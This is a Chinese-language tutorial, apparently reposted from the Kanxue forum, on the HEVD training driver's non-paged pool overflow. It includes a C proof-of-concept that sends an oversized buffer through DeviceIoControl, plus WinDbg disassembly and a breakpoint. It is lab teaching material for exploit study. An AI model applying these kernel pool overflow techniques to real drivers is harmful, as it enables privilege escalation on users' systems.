HEVD池溢出系列

admin

101398
文章

87
评论

2021年6月8日18:18:17评论99 views字数 3412阅读11分22秒阅读模式

本文为看雪论坛优秀文章

看雪论坛作者ID：某警官

这个漏洞的复现过程实在是太过于精美，并且在这过程间补充到了不少的知识，打算就池溢出做一期笔记。

一 • 堆溢出到池溢出

内核池实际上是windows中类似于堆的一种动态内存结构。两者的利用在我看来是十分相似的。

将池溢出之前，我们不妨先回顾以下堆溢出：

有CTF经验的朋友们应该不陌生堆溢出，那么如何完成一次堆溢出利用呢？

可以做出如下的假设：

堆块是系统分配给程序的空间，堆块在系统中是连续的一段内存，那么如果我们可以为某个带函数指针的对象申请一段内存空间，并且通过堆溢出修改我们的函数指针指向shellcode，那么我们即可完成堆溢出利用。

但是理想和现实总是存在差距的，好在可以将理想照进现实。那么不妨从这个思路开始。

按照我的思路，分析漏洞时需要有三个部分的思考

它是谁：函数是哪里出现问题的，我们可以判断出它是哪种类型的漏洞。
到哪里去：函数会导致什么后果，从而触发漏洞
从哪里来：如何去调用到目标函数。

但是由于HEVD本身就是一个漏洞复现的靶场，由于存在源码，所以我们可以省去最后一步做分析。

但我认为，复现或者挖掘漏洞的过程中，从哪里来也是很重要且具有挑战性的工作。

二 • 它是谁？

使用IDA定位到漏洞位置。

那么我们先简单的编制一个poc，证明漏洞的存在。

#include<stdio.h>#include<windows.h>
int main() {    ULONG bReturn = 0;    HANDLE hevDevice;    ULONG BytesReturned;    hevDevice = (HANDLE)CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);    char buf[0x1f8] = { 0 };    if (!hevDevice) {        printf(" failed to get handle");    }    RtlFillMemory(buf, 0x1f8, 'a');    DeviceIoControl(hevDevice, 0x22200f, buf, 0x1f8, NULL, 0, &bReturn, NULL);
    return 0;}

在之前的分析中，我们已经知道了是由于HEVD!memcpy没有对size进行判断从而导致了漏洞的发生，那么我们首先通过windbg下断点到HEVD!memcpy。

运行我们的Poc

kd> u HEVD!TriggerBufferOverflowNonPagedPool+0xf0HEVD!TriggerBufferOverflowNonPagedPool+0xf0 [c:projectshevddriverhevdbufferoverflownonpagedpool.c @ 137]:839f3dbe ff750c          push    dword ptr [ebp+0Ch]839f3dc1 ff7508          push    dword ptr [ebp+8]839f3dc4 53              push    ebx839f3dc5 e812c4fbff      call    HEVD!memcpy (839b01dc)839f3dca 6886659f83      push    offset HEVD! ?? ::NNGAKEGL::`string' (839f6586)839f3dcf 6a03            push    3839f3dd1 6a4d            push    4Dh839f3dd3 ffd7            call    edi
kd> u HEVD!TriggerBufferOverflowNonPagedPool+0xf7HEVD!TriggerBufferOverflowNonPagedPool+0xf7 [c:projectshevddriverhevdbufferoverflownonpagedpool.c @ 137]:839f3dc5 e812c4fbff      call    HEVD!memcpy (839b01dc)839f3dca 6886659f83      push    offset HEVD! ?? ::NNGAKEGL::`string' (839f6586)839f3dcf 6a03            push    3839f3dd1 6a4d            push    4Dh839f3dd3 ffd7            call    edi839f3dd5 681a619f83      push    offset HEVD! ?? ::NNGAKEGL::`string' (839f611a)839f3dda 688e649f83      push    offset HEVD! ?? ::NNGAKEGL::`string' (839f648e)839f3ddf 6a03            push    3kd> bp HEVD!TriggerBufferOverflowNonPagedPool+0xf7